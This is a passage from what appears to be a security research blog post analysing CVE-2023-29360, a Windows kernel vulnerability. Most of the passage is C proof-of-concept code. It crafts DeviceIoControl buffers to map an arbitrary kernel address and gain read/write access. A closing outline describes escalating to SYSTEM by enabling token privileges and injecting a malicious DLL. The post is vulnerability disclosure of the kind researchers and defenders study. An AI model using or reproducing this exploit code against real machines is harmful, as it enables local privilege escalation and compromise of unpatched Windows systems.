ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream

// Create Server Handle
hDeviceServer = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);

printf("[+] Register Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &2 == Non ZERO
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL); // NON ZERO
// Register Stream to Server Handle
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // RegisterStream


ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx


printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/W\n");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x6C) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // 1,4,8
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // ComsumeTx

DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);

printf("[*] mapaddr : %p\n", mapaddr);

From here, we can use any preferred method to elevate the privilege using the given arbitrary read/write primitive.

In our 1-day full chain, we enable the privilege bit in token object and inject the malicious dll to SYSTEM privileged process to get the code execution. (You can refer Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012 for this technique.)

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.

Conclusion

This post provided the analysis on CVE-2023–29360 which is exploited in our 1-day full chain demo. The next post will cover CVE-2023–34044, a VMware information leakage found by Theori(@pr0ln) which is a variant of CVE-2023–20870.

Reference

🔵 website: https://theori.io ✉️ vr@theori.io

--

--